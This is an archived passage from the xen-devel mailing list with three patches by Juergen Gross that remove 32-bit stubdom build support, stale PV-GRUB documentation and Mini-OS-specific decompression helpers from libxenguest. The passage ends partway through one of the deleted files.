Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535527; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=Z6EAc2AbX/aQuKD/P9abpYa37fs6FYgsEE4fa9CoGsA=;
	b=BSVnLg8oYtfHgJlFSRoU8KoDH7hEe74V41rkCOQ86k+f1GeGwBySCD5UHiAwj35RzVoUST
	+tN6OvPoYeA7Hy5NGeyDoPUCQNsq0aXxg2ZewTQdFILIu1YzNOWSd2a9KkShAMWAP1iwvO
	QLG2UUzeYOCC7fNyFyw9FNG3zwketyg=
Authentication-Results: smtp-out1.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b=BSVnLg8o
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535527; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=Z6EAc2AbX/aQuKD/P9abpYa37fs6FYgsEE4fa9CoGsA=;
	b=BSVnLg8oYtfHgJlFSRoU8KoDH7hEe74V41rkCOQ86k+f1GeGwBySCD5UHiAwj35RzVoUST
	+tN6OvPoYeA7Hy5NGeyDoPUCQNsq0aXxg2ZewTQdFILIu1YzNOWSd2a9KkShAMWAP1iwvO
	QLG2UUzeYOCC7fNyFyw9FNG3zwketyg=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH v2 2/5] stubdom: remove support for building in 32-bit mode
Date: Mon, 20 Jul 2026 10:18:29 +0200
Message-ID: <20260720081833.4122182-3-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260720081833.4122182-1-jgross@suse.com>
References: <20260720081833.4122182-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Rspamd-Action: no action
X-Rspamd-Queue-Id: 42BC379E46
X-Spam-Flag: NO
X-Spam-Score: -3.01
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-1.000];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:rdns,imap1.dmz-prg2.suse.org:helo,suse.com:dkim,suse.com:email,suse.com:mid];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	MIME_TRACE(0.00)[0:+];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	FROM_EQ_ENVFROM(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCVD_COUNT_TWO(0.00)[2];
	RCVD_TLS_ALL(0.00)[];
	RCPT_COUNT_THREE(0.00)[4];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd1.dmz-prg2.suse.org
X-purgate-ID: tlsNG-33051d/1784535527-6D4D74E9-FE930673/0/0
X-purgate-type: clean
X-purgate-size: 1110

With the removal of grub-pv there is no 32-bit stubdom left.

Remove 32-bit support from the stubdom build system.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 stubdom/Makefile | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/stubdom/Makefile b/stubdom/Makefile
index 850e8544ca..2698bddc9d 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -31,15 +31,7 @@ endef
 $(foreach lib,$(LIBS_LIBS),$(eval $(call LIB_deps,$(lib))))
 
 GNU_TARGET_ARCH:=$(XEN_TARGET_ARCH)
-ifeq ($(XEN_TARGET_ARCH),x86_32)
-GNU_TARGET_ARCH:=i686
-endif
 
-ifeq ($(GNU_TARGET_ARCH), i686)
-TARGET_CFLAGS=
-NEWLIB_CFLAGS+=-D_I386MACH_ALLOW_HW_INTERRUPTS
-STUBDOM_SUPPORTED=1
-endif
 ifeq ($(GNU_TARGET_ARCH), x86_64)
 TARGET_CFLAGS=-mno-red-zone
 NEWLIB_CFLAGS+=-D_I386MACH_ALLOW_HW_INTERRUPTS
@@ -179,9 +171,6 @@ gmp-$(GMP_VERSION).tar.bz2:
 	$(FETCHER) $@ $(GMP_URL)/$@
 
 .PHONY: cross-gmp
-ifeq ($(XEN_TARGET_ARCH), x86_32)
-   GMPEXT=ABI=32
-endif
 gmp-$(XEN_TARGET_ARCH): gmp-$(GMP_VERSION).tar.bz2 $(NEWLIB_STAMPFILE)
 	tar xjf $<
 	rm $@ -rf || :
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:19:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:19:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366246.1616158 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljDI-0006ZE-W3; Mon, 20 Jul 2026 08:19:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366246.1616158; Mon, 20 Jul 2026 08:19:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljDI-0006Z7-SS; Mon, 20 Jul 2026 08:19:00 +0000
Received: by outflank-mailman (input) for mailman id 1366246;
 Mon, 20 Jul 2026 08:19:00 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wljDI-0006YL-Fj
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:19:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljDH-00G43B-Se
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:18:59 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9f2-bab6-0a2a0a5309dd-0a2a45099b72-6
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:59 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9f3-be1a-0a2a45090019-c387df83e1da-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:18:59 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id 576153E09;
 Mon, 20 Jul 2026 08:18:58 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 16137779AA;
 Mon, 20 Jul 2026 08:18:58 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id uuYdBPLZXWrOXgAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 20 Jul 2026 08:18:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535539; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=i7QVV4zU+HBTHHGxFIUYe6BxCNLKsfYFRbHiHIdGaFw=;
	b=e5QBiW4DM081VgGinkM1H6FkX2WP9eGvAl0tjrmsZcV9fdXHlArc5YoQ/oxAvcTopgZUPz
	uyCXkcOzJnuP20sAuFcOlx1lctZsrgoKcisIUP8lo2na8NSMcR3NQP4KuxVhFZUKyzeWZI
	LAwbTmTyFVcBq88SJBiyi9oBKNKua80=
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535538; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=i7QVV4zU+HBTHHGxFIUYe6BxCNLKsfYFRbHiHIdGaFw=;
	b=AMtzWKtOeP9VfrP6vXd6FqT+F1BOfBc/xggTJGFNwcvNiBcF9S71Cx7/i6ruqhu+j2Oz8d
	NpvGnlmz5BvxI/enKVitmipLooFK0nawAqMZHy9vAynK0j+xakCdqicsR+z7uLFQfmxsus
	gM3iMszzHQxvSpGOTJydFNjyHxuWasE=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v2 4/5] docs: remove stale stubdom entries from stubdom.txt
Date: Mon, 20 Jul 2026 10:18:31 +0200
Message-ID: <20260720081833.4122182-5-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260720081833.4122182-1-jgross@suse.com>
References: <20260720081833.4122182-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spam-Score: -2.80
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[99.99%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-0.997];
	MIME_GOOD(-0.10)[text/plain];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	ARC_NA(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FROM_HAS_DN(0.00)[];
	MIME_TRACE(0.00)[0:+];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,suse.com:email,suse.com:mid];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCPT_COUNT_SEVEN(0.00)[9];
	RCVD_COUNT_TWO(0.00)[2];
	FROM_EQ_ENVFROM(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	TO_DN_SOME(0.00)[];
	RCVD_TLS_ALL(0.00)[]
X-Spam-Level: 
X-purgate-ID: tlsNG-bad1c0/1784535539-3BAD0034-3C750BC9/0/0
X-purgate-type: clean
X-purgate-size: 2552

There are several stubdoms mentioned in docs/misc/stubdom.txt which
no longer exist. Remove them.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 docs/misc/stubdom.txt | 69 -------------------------------------------
 1 file changed, 69 deletions(-)

diff --git a/docs/misc/stubdom.txt b/docs/misc/stubdom.txt
index cfcba4ba96..3ee96d5063 100644
--- a/docs/misc/stubdom.txt
+++ b/docs/misc/stubdom.txt
@@ -85,72 +85,3 @@ To change the CD-ROM medium, libxl will:
 
 The stubdom must internally add /dev/xvdc to an fdset in QEMU with opaque set
 to "stub-devid:$devid".  libxl will lookup the fdset with that string.
-
-                                   PV-GRUB
-                                   =======
-
-  This replaces pygrub to boot domU images safely: it runs the regular grub
-inside the created domain itself and uses regular domU facilities to read the
-disk / fetch files from network etc. ; it eventually loads the PV kernel and
-chain-boots it.
-  
-Configuration
-=============
-
-In your PV config,
-
-- use pv-grub.gz as kernel:
-
-kernel = "pv-grub.gz"
-
-- set the path to menu.lst, as seen from the domU, in extra:
-
-extra = "(hd0,0)/boot/grub/menu.lst"
-
-or you can provide the content of a menu.lst stored in dom0 by passing it as a
-ramdisk:
-
-ramdisk = "/boot/domU-1-menu.lst"
-
-or you can also use a tftp path (dhcp will be automatically performed):
-
-extra = "(nd)/somepath/menu.lst"
-
-or you can set it in option 150 of your dhcp server and leave extra and ramdisk
-empty (dhcp will be automatically performed)
-
-Limitations
-===========
-
-- You can not boot a 64bit kernel with a 32bit-compiled PV-GRUB and vice-versa.
-To cross-compile a 32bit PV-GRUB,
-
-export XEN_TARGET_ARCH=x86_32
-
-- bootsplash is supported, but the ioemu backend does not yet support restart
-for use by the booted kernel.
-
-- PV-GRUB doesn't support virtualized partitions. For instance:
-
-disk = [ 'phy:hda7,hda7,w' ]
-
-will be seen by PV-GRUB as (hd0), not (hd0,6), since GRUB will not see any
-partition table.
-
-
-                                Your own stubdom
-                                ================
-
-  By running
-
-cd stubdom/
-make c-stubdom
-
-  or
-
-cd stubdom/
-make caml-stubdom
-
-  you can compile examples of C or caml stub domain kernels.  You can use these
-and the relevant Makefile rules as basis to build your own stub domain kernel.
-Available libraries are libc, libxc, libxs, zlib and libpci.
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 08:19:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 08:19:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366254.1616166 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljDO-00078h-7G; Mon, 20 Jul 2026 08:19:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366254.1616166; Mon, 20 Jul 2026 08:19:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wljDO-00078Z-4M; Mon, 20 Jul 2026 08:19:06 +0000
Received: by outflank-mailman (input) for mailman id 1366254;
 Mon, 20 Jul 2026 08:19:04 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wljDM-0006zX-Og
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 08:19:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wljDM-000QCH-5L
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:19:04 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9f2-2eae-0a2a0a5409dd-0a2a4506c774-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:19:04 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5dd9f7-195a-0a2a45060019-c387df8397dc-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 10:19:04 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id CB2A23E18;
 Mon, 20 Jul 2026 08:19:03 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id A8BD1779AA;
 Mon, 20 Jul 2026 08:19:03 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id ERvhJ/fZXWrXXgAAD6G6ig
 (envelope-from <jgross@suse.com>); Mon, 20 Jul 2026 08:19:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535543; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=dKp2RqqaXDo0PHr9j/gRjRh2meprNkvF0eE5dIq0h18=;
	b=eOMVapg44BA3yltb4cx7k1w3X3FMwoRaDy8wdaojBbgwY2PqHQkQVEaHJ2UMzlov5nflAp
	F4cwEzEtXiuDKaacbObIFi/hcH5Sshf/ceVNypcJt1xaMHxmvyaMqsUM8m7tDVaOFZMB9e
	ZUpwwJxq45/pPf4/+Cbk1zqIsF6XD1w=
Authentication-Results: smtp-out2.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1784535543; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=dKp2RqqaXDo0PHr9j/gRjRh2meprNkvF0eE5dIq0h18=;
	b=eOMVapg44BA3yltb4cx7k1w3X3FMwoRaDy8wdaojBbgwY2PqHQkQVEaHJ2UMzlov5nflAp
	F4cwEzEtXiuDKaacbObIFi/hcH5Sshf/ceVNypcJt1xaMHxmvyaMqsUM8m7tDVaOFZMB9e
	ZUpwwJxq45/pPf4/+Cbk1zqIsF6XD1w=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Anthony PERARD <anthony.perard@vates.tech>
Subject: [PATCH v2 5/5] tools/libxenguest: remove Mini-OS specific parts
Date: Mon, 20 Jul 2026 10:18:32 +0200
Message-ID: <20260720081833.4122182-6-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260720081833.4122182-1-jgross@suse.com>
References: <20260720081833.4122182-1-jgross@suse.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spamd-Result: default: False [-2.80 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	R_MISSING_CHARSET(0.50)[];
	NEURAL_HAM_SHORT(-0.20)[-0.997];
	MIME_GOOD(-0.10)[text/plain];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	MIME_TRACE(0.00)[0:+];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	ARC_NA(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCVD_TLS_ALL(0.00)[];
	RCPT_COUNT_THREE(0.00)[3];
	FROM_HAS_DN(0.00)[];
	TO_DN_SOME(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	DBL_BLOCKED_OPENRESOLVER(0.00)[imap1.dmz-prg2.suse.org:helo,suse.com:email,suse.com:mid]
X-Spam-Level: 
X-Spam-Score: -2.80
X-purgate-ID: tlsNG-16d1c6/1784535544-F540B77B-A338931E/0/0
X-purgate-type: clean
X-purgate-size: 11480

The last Mini-OS use case of libxenguest is gone, so remove the
Mini-OS specific parts of libxenguest.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 tools/libs/guest/Makefile.common              | 15 ------
 tools/libs/guest/xg_dom_decompress_unsafe.c   | 48 -------------------
 tools/libs/guest/xg_dom_decompress_unsafe.h   | 28 -----------
 .../guest/xg_dom_decompress_unsafe_bzip2.c    | 14 ------
 .../libs/guest/xg_dom_decompress_unsafe_lz4.c | 39 ---------------
 .../guest/xg_dom_decompress_unsafe_lzma.c     | 14 ------
 .../guest/xg_dom_decompress_unsafe_lzo1x.c    | 44 -----------------
 .../libs/guest/xg_dom_decompress_unsafe_xz.c  | 46 ------------------
 .../guest/xg_dom_decompress_unsafe_zstd.c     | 44 -----------------
 9 files changed, 292 deletions(-)
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.h
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_xz.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_zstd.c

diff --git a/tools/libs/guest/Makefile.common b/tools/libs/guest/Makefile.common
index 86b1f160e5..47b3a52360 100644
--- a/tools/libs/guest/Makefile.common
+++ b/tools/libs/guest/Makefile.common
@@ -1,8 +1,3 @@
-ifeq ($(CONFIG_LIBXC_MINIOS),y)
-# Save/restore of a domain is currently incompatible with a stubdom environment
-override CONFIG_MIGRATE := n
-endif
-
 OBJS-y += xg_private.o
 OBJS-y += xg_domain.o
 OBJS-y += xg_suspend.o
@@ -55,16 +50,6 @@ OBJS-$(CONFIG_X86)     += xg_dom_x86.o
 OBJS-$(CONFIG_X86)     += xg_cpuid_x86.o
 OBJS-$(CONFIG_ARM)     += xg_dom_arm.o
 
-ifeq ($(CONFIG_LIBXC_MINIOS),y)
-OBJS-y                 += xg_dom_decompress_unsafe.o
-OBJS-y                 += xg_dom_decompress_unsafe_bzip2.o
-OBJS-y                 += xg_dom_decompress_unsafe_lz4.o
-OBJS-y                 += xg_dom_decompress_unsafe_lzma.o
-OBJS-y                 += xg_dom_decompress_unsafe_lzo1x.o
-OBJS-y                 += xg_dom_decompress_unsafe_xz.o
-OBJS-y                 += xg_dom_decompress_unsafe_zstd.o
-endif
-
 CFLAGS += -D__XEN_TOOLS__
 CFLAGS += -include $(XEN_ROOT)/tools/config.h
 CFLAGS += -iquote ../../../xen/common/libelf
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe.c b/tools/libs/guest/xg_dom_decompress_unsafe.c
deleted file mode 100644
index 21d964787d..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe.c
+++ /dev/null
@@ -1,48 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-static struct xc_dom_image *unsafe_dom;
-static unsigned char *output_blob;
-static unsigned int output_size;
-
-static void unsafe_error(const char *msg)
-{
-    xc_dom_panic(unsafe_dom->xch, XC_INVALID_KERNEL, "%s", msg);
-}
-
-static int unsafe_flush(void *src, unsigned int size)
-{
-    void *n = realloc(output_blob, output_size + size);
-    if (!n)
-        return -1;
-    output_blob = n;
-
-    memcpy(&output_blob[output_size], src, size);
-    output_size += size;
-    return size;
-}
-
-int xc_dom_decompress_unsafe(
-    decompress_fn fn, struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    int ret;
-
-    unsafe_dom = dom;
-    output_blob = NULL;
-    output_size = 0;
-
-    ret = fn(dom->kernel_blob, dom->kernel_size, NULL, unsafe_flush, NULL, NULL, unsafe_error);
-
-    if (ret)
-        free(output_blob);
-    else {
-        *blob = output_blob;
-        *size = output_size;
-    }
-
-    return ret;
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe.h b/tools/libs/guest/xg_dom_decompress_unsafe.h
deleted file mode 100644
index 5bc2222076..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe.h
+++ /dev/null
@@ -1,28 +0,0 @@
-#ifdef __MINIOS__
-# include "../../xen/include/xen/decompress.h"
-#else
-typedef int decompress_fn(unsigned char *inbuf, unsigned int len,
-                          int (*fill)(void*, unsigned int),
-                          int (*flush)(void*, unsigned int),
-                          unsigned char *outbuf, unsigned int *posp,
-                          void (*error)(const char *x));
-#endif
-
-#define cf_check /* No Control Flow Integriy checking */
-
-int xc_dom_decompress_unsafe(
-    decompress_fn fn, struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-
-int xc_try_bzip2_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_lz4_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_lzma_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_lzo1x_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_xz_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
-int xc_try_zstd_decode(struct xc_dom_image *dom, void **blob, size_t *size)
-    __attribute__((visibility("internal")));
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c b/tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
deleted file mode 100644
index 9d3709e6cc..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
-
-#include "xg_private.h"
-#include "xg_dom_decompress_unsafe.h"
-
-#include "../../xen/common/bunzip2.c"
-
-int xc_try_bzip2_decode(
-    struct xc_dom_image *dom, void **blob, size_t *size)
-{
-    return xc_dom_decompress_unsafe(bunzip2, dom, blob, size);
-}
diff --git a/tools/libs/guest/xg_dom_decompress_unsafe_lz4.c b/tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
deleted file mode 100644
index 405143aa61..0000000000
--- a/tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
+++ /dev/null
@@ -1,39 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <inttypes.h>
